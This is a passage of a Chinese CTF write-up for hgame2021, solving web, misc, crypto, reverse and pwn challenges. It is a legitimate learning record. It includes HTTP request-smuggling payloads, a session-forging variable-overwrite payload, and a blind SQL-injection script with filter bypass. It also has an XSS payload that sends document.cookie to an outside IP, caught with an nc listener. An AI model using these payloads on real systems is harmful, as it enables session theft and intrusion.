hgame2021 wp
因为hgame一共有5篇wp,太占空间了,于是整合了一下放到一篇文章下
week1
WEB1
刚开始是个302跳转,然后有个GET改POST,然后改改HTTP
payload
POST /HitchhikerGuide.php HTTP/1.1
Host: c39c891133.hitchhiker42.0727.site:42420
User-Agent: Infinite Improbability Drive Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://cardinal.ink/
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
WEB2
前端题,改js代码
a.default.score += this.fruitNumber + 1
改为
a.default.score += this.fruitNumber + 10000000000000
然后打完就有flag了
WEB3
考点:HTTP走私
payload:
GET /secret HTTP/1.1
Host: 0b0f2bfacf.thief.0727.site
Content-Length: 85
Transfer-Encoding: chunked
0
GET /secret HTTP/1.1
Host: 0b0f2bfacf.thief.0727.site
Client-IP: 127.0.0.1
前置服务器认为 Content-Length
优先级更高(或者根本就不支持 Transfer-Encoding
) ,后端认为 Transfer-Encoding
优先级更高。
举个栗子,假如发送的请求如下:
POST / HTTP/1.1
Host: 1.com
Content-Length: 6
Transfer-Encoding: chunked
0
A
前置服务器根据 Content-Length: 6
判断出这是一个完整的请求,于是整体转发到后端服务器,但后端根据 Transfer-Encoding: chunked
将请求主体截断到 0\r\n\r\n
并认为一个完整的请求结束了,最后剩下的 A 就被认为是下一个请求的一部分,留在缓冲区中等待剩余的请求。如果此时其他用户此时发送了一个 GET 请求,就会与 A 拼接成一个畸形的 AGET,造成服务器解析异常:
AGET / HTTP/1.1
Host: 1.com
....
这就是为什么要多发几个包的原因
WEB4
import requests
import json
from bs4 import BeautifulSoup
from sympy import *
import time
s = requests.session()
for i in range(100):
url="http://r4u.top:5000/api/getQuestion"
res=s.get(url=url)
html=res.json()["question"]
soup = BeautifulSoup(html,'lxml')
mn=soup.find_all('mn')
mo=soup.find_all('mo')
min=mo[1].string+mn[0].string
max=mn[1].string
print(min)
print(max)
a=mn[2].string
b=mn[3].string
print(a)
print(b)
n=a+"*x+"+b
print(n)
# ans=integrate(s, ("x",s min, max))
# # print(int(ans))
# print(format(int(ans), '.2f'))
ans=format(float(integrate(n, ("x", min, max))), '.2f')
print(ans)
burp0_url = "http://r4u.top:5000/api/verify"
burp0_cookies = {"session": "eyJzb2x2aW5nIjozfQ.YBWHFg.8D-4FzFUBsc1s1XfSCfIZXHQqMw"}
burp0_headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36", "Content-Type": "application/json;charset=UTF-8", "Origin": "http://r4u.top:5000", "Referer": "http://r4u.top:5000/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_json={"answer": ans}
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=burp0_json)
s.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=burp0_json)
url1="http://r4u.top:5000/api/getFlag"
res1=s.get(url=url1)
print(res1.text)
# url1="http://r4u.top:5000/"
# res1=s.get(url=url1)
# print(res1.text)
# url1="http://r4u.top:5000/api/getStatus"
# res1=s.get(url=url)
# print(res1.text)
web5
POST / HTTP/1.1
Host: police.liki.link
Content-Length: 101
Transfer-Encoding: chunked
0
POST /secret HTTP/1.1
Host: police.liki.link
Client-IP: 127.0.0.1
Content-Length: 20
233
因为中间套了一层nginx,所以需要两个完整的包来达到伪造目的
MISC1
MISC2
先foremost分离,8位纯数字密码,直接爆破
进去里面有一个明文攻击,先看看压缩方法
那就以仅存储方式压缩一下明文攻击一下
C8uvP$DP
压缩包的16进制里有
hgame{2IP_is_Usefu1_and_Me9umi_i5_W0r1d}
拿去HTML编码转一下
hgame{2IP_is_Usefu1_and_Me9umi_i5_W0r1d}
MISC3
先文件->导出对象->导出HTTP
把图片导出,再修改一下高度
MISC4
给了两个word文档,第一个word文档改成zip解压开,里面有一个password.xml
brainfuck解密得到第二个docx的密钥
里面是snow隐写,设置一下 文件->设置->选项显示制表符和空格
然后选中文字,去除隐藏效果,把文字粘贴到txt中
然后再用SNOW.EXE解密
密码1
morse->Decimal->Base64->Vigenere(Liki)->fence(6)->reverse->rot13
hgame{cL4Ss1Cal_cRypTO9rAphY+m1X~uP!!}
密码2
密码3
词频分析一下就出了
在后面加上2021就行了
hgame{ea5y_f0r_fun^3nd&he11o_2021}
Re2
ida打开反汇编,这里函数sub_140001430()的返回值是0xff自减。v5相当于输入字符串的指针
跟到byte_140003480[v0]发现了加密后的flag
这里是flag与0xff异或后的,于是需要解密一下
flag=""
a=[0x97,0x99,0x9C,0x91,0x9E,0x81,0x91,0x9D,0x9B,0x9a,0x9a,0x0AB,0x81,0x97,0x0AE,0x80,0x83,0x8F,0x94,0x89,0x99,0x97]
key=0xff
for i in range(len(a)):
flag+=chr(a[i]^key)
key-=1
print(flag)
Re3
首先了解关于Python字节码反汇编器
简单给出示例:
import dis
def myfunc(alist):
raw_flag=input('give me your flag:\n')
return None
print(dis.dis(myfunc))
3 0 LOAD_GLOBAL 0 (input)
2 LOAD_CONST 1 ('give me your flag:\n')
4 CALL_FUNCTION 1
6 STORE_FAST 1 (raw_flag)
4 8 LOAD_CONST 0 (None)
10 RETURN_VALUE
这样可以显示函数myfunc的字节码
字节码的结构
字节码结构如下:
源码行号 | 跳转注释符 | 指令在函数中的偏移 | 指令符号(助记符) | 指令参数 | 实际参数值
上图表示:
- 该字节码指令在源码中对应59行
- 此处是跳转的目的地址
- 82该字节指令的字节码偏移
- 操作指令对应的助记符为LOAD_GLOBAL
- 操作参数为6
- 操作参数对应的实际值为disassemble
可以看官方文档https://docs.python.org/zh-cn/3/library/dis.html
hgame题目
4 0 LOAD_GLOBAL 0 (input)
2 LOAD_CONST 1 ('give me your flag:\n')
4 CALL_FUNCTION 1
6 STORE_FAST 0 (raw_flag)
5 8 LOAD_GLOBAL 1 (list)
10 LOAD_FAST 0 (raw_flag)
12 LOAD_CONST 2 (6)
14 LOAD_CONST 3 (-1)
16 BUILD_SLICE 2
18 BINARY_SUBSCR
20 CALL_FUNCTION 1
22 STORE_FAST 1 (cipher)
6 24 LOAD_GLOBAL 2 (len)
26 LOAD_FAST 1 (cipher)
28 CALL_FUNCTION 1
30 STORE_FAST 2 (length)
8 32 LOAD_GLOBAL 3 (range)
34 LOAD_FAST 2 (length)
36 LOAD_CONST 4 (2)
38 BINARY_FLOOR_DIVIDE
40 CALL_FUNCTION 1
42 GET_ITER
>> 44 FOR_ITER 54 (to 100)
46 STORE_FAST 3 (i)
9 48 LOAD_FAST 1 (cipher)
50 LOAD_CONST 4 (2)
52 LOAD_FAST 3 (i)
54 BINARY_MULTIPLY
56 LOAD_CONST 5 (1)
58 BINARY_ADD
60 BINARY_SUBSCR
62 LOAD_FAST 1 (cipher)
64 LOAD_CONST 4 (2)
66 LOAD_FAST 3 (i)
68 BINARY_MULTIPLY
70 BINARY_SUBSCR
72 ROT_TWO
74 LOAD_FAST 1 (cipher)
76 LOAD_CONST 4 (2)
78 LOAD_FAST 3 (i)
80 BINARY_MULTIPLY
82 STORE_SUBSCR
84 LOAD_FAST 1 (cipher)
86 LOAD_CONST 4 (2)
88 LOAD_FAST 3 (i)
90 BINARY_MULTIPLY
92 LOAD_CONST 5 (1)
94 BINARY_ADD
96 STORE_SUBSCR
98 JUMP_ABSOLUTE 44
12 >> 100 BUILD_LIST 0
102 STORE_FAST 4 (res)
13 104 LOAD_GLOBAL 3 (range)
106 LOAD_FAST 2 (length)
108 CALL_FUNCTION 1
110 GET_ITER
>> 112 FOR_ITER 26 (to 140)
114 STORE_FAST 3 (i)
14 116 LOAD_FAST 4 (res)
118 LOAD_METHOD 4 (append)
120 LOAD_GLOBAL 5 (ord)
122 LOAD_FAST 1 (cipher)
124 LOAD_FAST 3 (i)
126 BINARY_SUBSCR
128 CALL_FUNCTION 1
130 LOAD_FAST 3 (i)
132 BINARY_XOR
134 CALL_METHOD 1
136 POP_TOP
138 JUMP_ABSOLUTE 112
15 >> 140 LOAD_GLOBAL 6 (bytes)
142 LOAD_FAST 4 (res)
144 CALL_FUNCTION 1
146 LOAD_METHOD 7 (hex)
148 CALL_METHOD 0
150 STORE_FAST 4 (res)
16 152 LOAD_GLOBAL 8 (print)
154 LOAD_CONST 6 ('your flag: ')
156 LOAD_FAST 4 (res)
158 BINARY_ADD
160 CALL_FUNCTION 1
162 POP_TOP
164 LOAD_CONST 0 (None)
166 RETURN_VALUE
# your flag: 30466633346f59213b4139794520572b45514d61583151576638643a
题目是这样的,然后对照着文档py字节码逆向后是这样的
import dis
def myfunc(alist):
raw_flag=input('give me your flag:\n')
cipher=list(raw_flag[-1:6])
length=len(cipher)
for i in range(length//2):
cipher[2*i],cipher[2*i+1]=cipher[2*i+1],cipher[2*i]
res=[]
for i in range(length):
res.append(ord(cipher[i])^i)
res=bytes(res).hex()
print('your flag: '+res)
return None
print(dis.dis(myfunc))
然后解密flag
s='30466633346f59213b4139794520572b45514d61583151576638643a'
cipher=''
text=''
for i in range(0,len(s)//2):
cipher+=chr(int(s[2*i:2*i+2],16)^i)
print(cipher)
for i in range(0,len(cipher)//2):
text+=cipher[2*i+1]+cipher[2*i]
print(text)
PWN1
gdb调出来的
gdb
file whitegive #加载whitegive
b main #main函数打断点
r #运行
n #一直下一步
11111 #scanf输入
p 0x402012 #十六进制转成十进制
week2
web1
进去是一个登录框,没什么用,首先试了试,发现有www.zip
在lazy.php这里有个变量覆盖问题
foreach(array('_GET','_POST') as $_request){
foreach ($$_request as $_k => $_v){
foreach ($filter as $youBadBad){
$_k = str_replace($youBadBad, '', $_k);
}
${$_k} = $_v;
}
}
再看看如何获得flag
if($_SESSION['username'] === 'admin'){
echo "<h3 style='color: white'>admin将于今日获取自己忠实的flag</h3>";
echo "<h3 style='color: white'>$flag</h3>";
如果$_SESSION['username']为admin,那么就会输出flag
思路就比较明确了:通过变量覆盖,覆盖全局变量_SESSION。
payload_SESSSESSIONION[username]=admin
web2
一个xss
payload
手测发现会过滤http,所以用实体编码绕了一下
<video src=x onerror=window.open('http://47.97.123.81:11451/?'+encodeURI(document.cookie));//
window.open('http://47.97.123.81:11451/?'+encodeURI(document.cookie));
nc -lp 11451
题目会把post上去的东西倒序,再倒一下就可以了
监听端口,再submit让机器人查看一下,拿到管理员cookie
submit脚本
import hashlib
for i in range(1, 100000010):
s = hashlib.md5(str(i).encode("utf-8")).hexdigest()[0:6]
if s == "749fbd":
print(i)
break
html实体编码脚本
# in_str = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=HXFW7H&keepsession=0&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"
in_str="window.open('http://47.97.123.81:11451/?'+encodeURI(document.cookie));"
output = ""
for c in in_str:
output += "&#" + str(ord(c))
print(output)
print("<svg><script>eval("" + output + "")</script>")
web3
一个盲注题。注入点在HTTP头的Status那里。
直接上脚本
import requests
burp0_url = "https://200ok.liki.link:443/server.php"
result = ""
# ev="select version()"
# ev="select 'select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA'"
# ev="seselectlect(group_concat(SCHEMA_NAME))frfromom(information_schema.SCHEMATA)"
# ev="seleselectct(group_concat(TABLE_NAME))frfromom(information_schema.TABLES)WHWHEREERE(TABLE_SCHEMA='week2sqli')"
# ev="seleselectct(group_concat(COLUMN_NAME))frfromom(information_schema.COLUMNS)WHWHEREERE(TABLE_SCHEMA='week2sqli')"
ev="selselectect(ffffff14gggggg)frfromom(f1111111144444444444g)"
for i in range(1,10000):
min_value = 32
max_value = 130
mid = (min_value+max_value)//2 #中值
while(min_value<max_value):
# payload ={"username" : "admin'^" + "(ascii(substr((load_file('/etc/apache2/sites-available/000-default.conf')),{0},1))>{1})".format(i,mid)+"#","password":"1"}
# payload ={"username" : "admin'^" + "(ascii(substr((select database()),{0},1))>{1})".format(i,mid)+"#","password":"1"}
import requests
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0", "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate",
"Status": "1'^" + f"(ascii(substr(({ev}),{i},1))>{mid})#", "Connection": "close", "Referer": "https://200ok.liki.link/", "X-Forwarded-For": "127.0.0.1", "X-Originating-IP": "127.0.0.1"}
html=requests.get(burp0_url, headers=burp0_headers)
# print(payload)
# print(html.text)
if "HTTP 200 OK" in html.text:
#ascii值比mid值大
min_value = mid+1
else:
max_value = mid
mid = (min_value+max_value)//2
#找不到目标元素时停止
# if(chr(mid)==" "):
# break
result += chr(mid)
print(result)
print("fina flag:",result)
经过fuzz,题目会把select
,from
,where
,空格等字符替换成空,双写绕过即可。
web4
一个条件竞争,多线程发包即可
100线程发包
发了一会兑换券数量多了就可以买flag了
密码1
题目:
from libnum import *
from Crypto.Util import number
from secret import FLAG
m = s2n(FLAG)
a = number.getPrime(1024)
p = number.getPrime(1024)
c = a ** p * m % p
print("a = {}".format(a))
print("p = {}".format(p))
print("c = {}".format(c))
# a = 128093393331739357287382560429797893539538522182114697354088423652399337939140570230374949111740915776873931192291106249794226516370256356348005955994766601107888802972526829783964088673182894537147080404722921153436081692816888354571405653731065678413451702317324537374429739812602620533854521446041989794277
# p = 98598262757315477561216720356304801306449404000388773595145306736315925281269463308189196494584279598881916854999963045785497737597744615918644437256967567780253116384061030857950040783039808261551293665135516435451379461625192699758987888981388612136641786518003768740816868697127874352647606348952737239309
# c = 17998922689297872823093963021296896867980247514896150319334565603061585541867989462708623164680031829847340210972347740439912937496340940979915110680941963014764482317955857836585374301729387462504124418131724727927076692034989829724326841511556465686578532560359318317428228644175466427395955029529194431634
from libnum import *
from Crypto.Util.number import *
import gmpy2
a = 174945015465297437946669215687492048019321183211527802633736829851571245250957875715932969259331460896566243285367756392653864494207572512753229870700800629122727025592453170692096835779306497501219587241713050049004823707565169209300411400410488449677008546727084880115368456005025664637567316052236071442401
p = 91252477189273231712609822939660694802705404012205927646410077352545902448292927127013788443860061323844501806366876974127747474713554169703306937994551626922155338289206306056782628150285843982835300509170776437585197817893432766710143266754777697134865283601093455331727706754568039154939104367027244601331
c = 91156477080088219719384006119953566513664908065204331235551334686198960149200031132518025430031882029868629764504271706592227835684167570576017047296634698765427307062652515745968795394542163580961618083372448706393312490363610038628842845018138724900642774563533479913304348244567749860762034829769071526735
a_1 = gmpy2.invert(a,p)
flag=long_to_bytes(a_1*c % p)
print(flag)
考点:费马小定理+求模逆
费马小定理:a**(p-1)%p=1
两边同除ac/a=a**(p-1)*m%p
根据费马小定理 c/a=m%p
m=c/a%p
也就是m等于c乘a模p的逆元,整体再模p即为c
密码2
from libnum import *
from secret import FLAG
p = 85228565021128901853314934583129083441989045225022541298550570449389839609019
q = 111614714641364911312915294479850549131835378046002423977989457843071188836271
n = p * q
cipher = pow(s2n(FLAG), 2, n)
print(cipher)
# 7665003682830666456193894491015989641647854826647177873141984107202099081475984827806007287830472899616818080907276606744467453445908923054975393623509539
看似是一个RSA加密,公钥e=2,但是发现求逆元的时候会报错invert() no inverse exists
上网查了一下才知道e=2是特殊情况,需要特殊对待,脚本如下
#e=2
from Crypto.Util.number import *
import gmpy2
p = 85228565021128901853314934583129083441989045225022541298550570449389839609019
q = 111614714641364911312915294479850549131835378046002423977989457843071188836271
n = p * q
e = 2
c = 7665003682830666456193894491015989641647854826647177873141984107202099081475984827806007287830472899616818080907276606744467453445908923054975393623509539
yp = gmpy2.invert(p,q)
yq = gmpy2.invert(q,p)
# 计算mp和mq
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
# 计算a,b,c,d
a = (yp * p * mq + yq * q * mp) % n
b = n - int(a)
c = (yp * p * mq - yq * q * mp) % n
d = n - int(c)
for i in (a,b,c,d):
print(long_to_bytes(i))
参考:https://blog.csdn.net/huanghelouzi/article/details/82974741
密码3
yafu分解得到p,q
import gmpy2
from Crypto.Util.number import *
N = 882564595536224140639625987659416029426239230804614613279163
e = 65537
c = 747831491353896780365654517748216624798517769637260742155527
#yafu分解N
p = 857504083339712752489993810777
q = 1029224947942998075080348647219
phi_n=(q-1)*(p-1)
d = gmpy2.invert(e,phi_n)
m = pow(c,d,N)
flag = long_to_bytes(m)
print(flag)
MISC1
套娃隐写题
所有压缩包的名字就是隐写方式,密码在注释中
MISC2
Au打开,一分左右的时候这里有莫斯码
hgame{4G00DS0NGBUTN0T4G00DMAN039310KI}
MISC3
stegsolve发现里面有张二维码
import base64
a="gmBCrkRORUkAAAAA+jrgsWajaq0BeC3IQhCEIQhCKZw1MxTzSlNKnmJpivW9IHVPrTjvkkuI3sP7bWAEdIHWCbDsGsRkZ9IUJC9AhfZFbpqrmZBtI+ZvptWC/KCPrL0gFeRPOcI2WyqjndfUWlNj+dgWpe1qSTEcdurXzMRAc5EihsEflmIN8RzuguWq61JWRQpSI51/KHHT/6/ztPZJ33SSKbieTa1C5koONbLcf9aYmsVh7RW6p3SpASnUSb3JuSvpUBKxscbyBjiOpOTq8jcdRsx5/IndXw3VgJV6iO1+6jl4gjVpWouViO6ih9ZmybSPkhaqyNUxVXpV5cYU+Xx5sQTfKystDLipmqaMhxIcgvplLqF/LWZzIS5PvwbqOvrSlNHVEYchCEIQISICSZJijwu50rRQHDyUpaF0y///p6FEDCCDFsuW7YFoVEFEST0BAACLgLOrAAAAAggUAAAAtAAAAFJESEkNAAAAChoKDUdOUIk="
b=base64.b64decode(a)[::-1]
f=open('1.png','wb')
f.write(b)
f.close()
反转一下得到flag
MISC4
week3
密码1
题目:
#!/usr/bin/env python3
import random
from libnum import s2n
from secret import secrets, flag
def get_prime(secret):
prime = 1
for _ in range(secret):
prime = prime << 1
return prime - 1
random.shuffle(secrets)
m = s2n(flag)
p = get_prime(secrets[0])
q = get_prime(secrets[1])
n = p * q
e = 0x10001
c = pow(m, e, n)
print("n = {}.format(n)")
print("e = {}.format(e)")
print("c = {}.format(c)")
# n = 15361898878235696574667000105109009720717806584760935092206242960407549236363501417213696346370999607974104247856479458833772412536980365740161717369268547876567930581662460946856562030722330783421995955447378594119758550329759849393535018344139103042143621239011469955648205934903904045564846822159998174879695774419450399723970148270141003002902927002767984254099972288746243481084381643719731958360702561818663569730597624966561268824737610893516032068613120089855690580047620589196079907477458543783300282393495461746306096415443274084362956267239186823089349090398919748814938872938478097065267156231648487203329412422615711711886164634059723362167236118521458497248305115764510762731915291882155494011713295462603221439763218477455674584662524137991730891776826849188975650354165106378834014987695592746836998002232826678339919918799781246827459617082687425955430641815518416878015728514477287192934193957833532996687234554280263817068106805440848475668830505180172049674756979856286907198648267160926305328986853052888831678087029867946180609
# e = 65537
# c = 7927187628026055322783940901550651937893953660065534609714001711924456963095603013667085470146144874981960574233466397443449977149997357471575431695025415526421127927424585253533999961265066779103259623451208111709082292139347059312149137665426462381816329178229484680275368657450003046701355985014009700915439417466826446848877329284810802949440433122207430136944380576095681081740197798597559437163702511712448892986978229285577672410865991889634686024629071902793778620692548548234276678653195648305462703623579369309956481606223043040903082180559720551235515700080661234190693094571406679557502413049745325301747588707839920522910923018864009003988475371258742969932381590308381543035539043149634871622927695645953044249331889058081699783884965964986919852075768119185486506729958481688848547730131040350180411446263394686119546781350542737049112800140601734883325024073000156078427592350484379976615561586860882656403198952361411599125358422676828954908797542225611418969233985502900316342896903161811894061826308302594273209131132802270416006
先看这个函数
def get_prime(secret):
prime = 1
for _ in range(secret):
prime = prime << 1
return prime - 1
所有的p,q都为2^n-1
我们先对n开方,算一个p,q的平均数,然后再算出这个指数
import gmpy2
n=15361898878235696574667000105109009720717806584760935092206242960407549236363501417213696346370999607974104247856479458833772412536980365740161717369268547876567930581662460946856562030722330783421995955447378594119758550329759849393535018344139103042143621239011469955648205934903904045564846822159998174879695774419450399723970148270141003002902927002767984254099972288746243481084381643719731958360702561818663569730597624966561268824737610893516032068613120089855690580047620589196079907477458543783300282393495461746306096415443274084362956267239186823089349090398919748814938872938478097065267156231648487203329412422615711711886164634059723362167236118521458497248305115764510762731915291882155494011713295462603221439763218477455674584662524137991730891776826849188975650354165106378834014987695592746836998002232826678339919918799781246827459617082687425955430641815518416878015728514477287192934193957833532996687234554280263817068106805440848475668830505180172049674756979856286907198648267160926305328986853052888831678087029867946180609
a=gmpy2.iroot(n, 2)
a=123943127595827984958197853301549195184477951834649657232740658002980565512365360620750598993511752753104781984819812404805160890680671892376416742365754415406079582806461586400276749177364829017737044195679413446889774379589504010560948137281790718665410595066884189580638081516368262928596510612673202568108065230108178215006522436790409863754899181812033711098574995216116141064253023916727539234965673866976393292466230080475031216007958389138886300920580596233454285605321980024193529959259944050373306864972529768857599
print(a)
prime = 1
while(1):
g=pow(2,prime)
prime+=1
print(g)
if(g>a):
print(prime)
exit()
#prime=1724
接下来爆破p,q。从1724往上数1000个,往下数1000个进行爆破
n=15361898878235696574667000105109009720717806584760935092206242960407549236363501417213696346370999607974104247856479458833772412536980365740161717369268547876567930581662460946856562030722330783421995955447378594119758550329759849393535018344139103042143621239011469955648205934903904045564846822159998174879695774419450399723970148270141003002902927002767984254099972288746243481084381643719731958360702561818663569730597624966561268824737610893516032068613120089855690580047620589196079907477458543783300282393495461746306096415443274084362956267239186823089349090398919748814938872938478097065267156231648487203329412422615711711886164634059723362167236118521458497248305115764510762731915291882155494011713295462603221439763218477455674584662524137991730891776826849188975650354165106378834014987695592746836998002232826678339919918799781246827459617082687425955430641815518416878015728514477287192934193957833532996687234554280263817068106805440848475668830505180172049674756979856286907198648267160926305328986853052888831678087029867946180609
print(len(str(n)))
pk=1743
qk=1741
for i in range(1000):
p=pow(2,pk)-1
pk-=1
for j in range(1000):
q=pow(2,qk)-1
qk+=1
# print(len(str(p*q)))
if(p*q==n):
print(p)
print(q)
exit()
qk=1741
爆出p,q就是白给RSA
import gmpy2
from Crypto.Util.number import *
N = 15361898878235696574667000105109009720717806584760935092206242960407549236363501417213696346370999607974104247856479458833772412536980365740161717369268547876567930581662460946856562030722330783421995955447378594119758550329759849393535018344139103042143621239011469955648205934903904045564846822159998174879695774419450399723970148270141003002902927002767984254099972288746243481084381643719731958360702561818663569730597624966561268824737610893516032068613120089855690580047620589196079907477458543783300282393495461746306096415443274084362956267239186823089349090398919748814938872938478097065267156231648487203329412422615711711886164634059723362167236118521458497248305115764510762731915291882155494011713295462603221439763218477455674584662524137991730891776826849188975650354165106378834014987695592746836998002232826678339919918799781246827459617082687425955430641815518416878015728514477287192934193957833532996687234554280263817068106805440848475668830505180172049674756979856286907198648267160926305328986853052888831678087029867946180609
e = 65537
c = 7927187628026055322783940901550651937893953660065534609714001711924456963095603013667085470146144874981960574233466397443449977149997357471575431695025415526421127927424585253533999961265066779103259623451208111709082292139347059312149137665426462381816329178229484680275368657450003046701355985014009700915439417466826446848877329284810802949440433122207430136944380576095681081740197798597559437163702511712448892986978229285577672410865991889634686024629071902793778620692548548234276678653195648305462703623579369309956481606223043040903082180559720551235515700080661234190693094571406679557502413049745325301747588707839920522910923018864009003988475371258742969932381590308381543035539043149634871622927695645953044249331889058081699783884965964986919852075768119185486506729958481688848547730131040350180411446263394686119546781350542737049112800140601734883325024073000156078427592350484379976615561586860882656403198952361411599125358422676828954908797542225611418969233985502900316342896903161811894061826308302594273209131132802270416006
p = 10407932194664399081925240327364085538615262247266704805319112350403608059673360298012239441732324184842421613954281007791383566248323464908139906605677320762924129509389220345773183349661583550472959420547689811211693677147548478866962501384438260291732348885311160828538416585028255604666224831890918801847068222203140521026698435488732958028878050869736186900714720710555703168729087
q = 1475979915214180235084898622737381736312066145333169775147771216478570297878078949377407337049389289382748507531496480477281264838760259191814463365330269540496961201113430156902396093989090226259326935025281409614983499388222831448598601834318536230923772641390209490231836446899608210795482963763094236630945410832793769905399982457186322944729636418890623372171723742105636440368218459649632948538696905872650486914434637457507280441823676813517852099348660847172579408422316678097670224011990280170474894487426924742108823536808485072502240519452587542875349976558572670229633962575212637477897785501552646522609988869914013540483809865681250419497686697771007
phi_n=(q-1)*(p-1)
d = gmpy2.invert(e,phi_n)
m = pow(c,d,N)
flag = long_to_bytes(m)
print(flag)
密码2
考点:DH密钥交换+AES解密
# A = g ^ a % p = pow(g, a, p)
# B = g ^ b % p = pow(g, b, p)
题目说是加法群,所以这里应该是
A=(g*a)%p
B=(g*b)%p
根据这个先算出a,b 算法和第二周签到题一样
%p移到左边A%p=g*a
两边同除ga=A/g%p
也就是a等于A乘上g模p的逆元,这个整体再模p。即为a
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import long_to_bytes
import gmpy2
g=12602983924735419868428783329859102652072837431735895060811258460532600319539509800915989811879506790207025505003183121812480524033163157114086741486989697
p=30567260905179651419358486099834315837354102714690253338851161207042846254351374572818884286661092938876675032728700590336029243619773064402923830209873155153338320502164587381848849791304214084993139233581072431814555885408821184652544361671134564827265516331283076223247829980225591857643487356406284913560960657053777612115591241983729716542192518684003840806442329098770424504275465756739925434019460351138273272559738332984560095465809481270198689251655392941966835733947437503158486731906649716026200661065054914445245468517406404904444261196826370252359102324767986314473183183059212009545789665906197844518119
A=6407001517522031755461029087358686699246016691953286745456203144289666065160284103094131027888246726980488732095429549592118968601737506427099198442788626223019135982124788211819831979642738635150279126917220901861977041911299607913392143290015904211117118451848822390856596017775995010697100627886929406512483565105588306151304249791558742229557096175320767054998573953728418896571838697779621641522372719890056962681223595931519174265357487072296679757688238385898442549594049002467756836225770565740860731932911280385359763772064721179733418453824127593878917184915316616399071722555609838785743384947882543058635
B=5522084830673448802472379641008428434072040852768290130448235845195771339187395942646105104638930576247008845820145438300060808178610210847444428530002142556272450436372497461222761977462182452947513887074829637667167313239798703720635138224358712513217604569884276513251617003838008296082768599917178457307640326380587295666291524388123169244965414927588882003753247085026455845320527874258783530744522455308596065597902210653744845305271468086224187208396213207085588031362747352905905343508092625379341493584570041786625506585600322965052668481899375651376670219908567608009443985857358126335247278232020255467723
a_1 = gmpy2.invert(g,p)
a=a_1*A % p
b=a_1*B % p
key=a*b*g%p
print(key)
根据key进行AES解密
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import long_to_bytes
import hashlib
import os
iv1=long_to_bytes(int(0xd3811beb5cd2a4e1e778207ab541082b))
encrypted_flag1=long_to_bytes(int(0x059e9c216bcc14e5d6901bcf651bee361d9fe42f225bc0539935671926e6c092))
iv2=long_to_bytes(int(0xb4259ed79d050dabc7eab0c77590a6d0))
encrypted_flag2=long_to_bytes(int(0xaf3fe410a6927cc227051f587a76132d668187e0de5ebf0608598a870a4bbc89))
shared_secret=4905095497614814897720707931100365448537842605147336610039337092558350789195193726414675809416103942303448371075790693293330604733254271696210184021817812498913500568199367793820662617793635799711257159942591950595734525505927151454143757053571949492867044458464493036843773391441833773386830575276945084171575196079747156568801663491931332037249690558543407617141987912858899762876817687564610504224117600979246521386029902182321881538311839110498475556115836976933516744541766969075634396229165498947104815958488739007504754328725237868258195936633926463820680575628329426579601827058447231181393158983481374574804
def decrypt_flag(shared_secret,iv,encrypted_flag):
# Derive AES key from shared secret
sha1 = hashlib.sha1()
sha1.update(str(shared_secret).encode('ascii'))
key = sha1.digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
flag =cipher.decrypt(encrypted_flag)
# Prepare data to send
return flag
print(decrypt_flag(shared_secret,iv1,encrypted_flag1))
print(decrypt_flag(shared_secret,iv2,encrypted_flag2))
密码3
一个低加密指数广播攻击
题目给了加密方法和7组数据。根据中国剩余定理,7组中要选3组解密
import binascii,gmpy2
from functools import reduce
from Crypto.Util.number import long_to_bytes
for i in range(0,7):
for j in range(1,7):
for k in range(2,7):
if(i==j):
continue
if(k==j):
continue
if(i==k):
continue
n_base=[768731284506327944113406236027267453153178504481960474163849413572959901900781941471060120664615036667721568236486104212543941626093683611820051956888999990409535944068510533828285247642295156383062225121123397420863524500301605790432399020453905305067131509497931914214431033157498386840010234482484177898191608673445690542041959091445418878375877435164674203776931738708624804301646179653019817596612876848617302959482364008286148292002918372774353441375602500755004724814787928356594079344361596836482525021434616271982920662313256530007883018720585047232121289721656963132683682023625683229940587959315583539720857557451681402228168096559968476948263356605729649774017109848808425693506724312264272613164411551780892434255749213128692122454364559986018251379167331425321803760454026945039856860491038669974395683809854790365463840636343980962376205540013015629307389934488725537142983815565534720739509012176887290320329127809218230756596181528831774086891633290341399153631178022171655153576793324046302349267421556220063264261739968103953460444018066381487941305190730721608513048181450127628562770702172658088836581698332318905758721984778545449145728049393279394785952324627362503706190204128637631213405674863660425389313259,
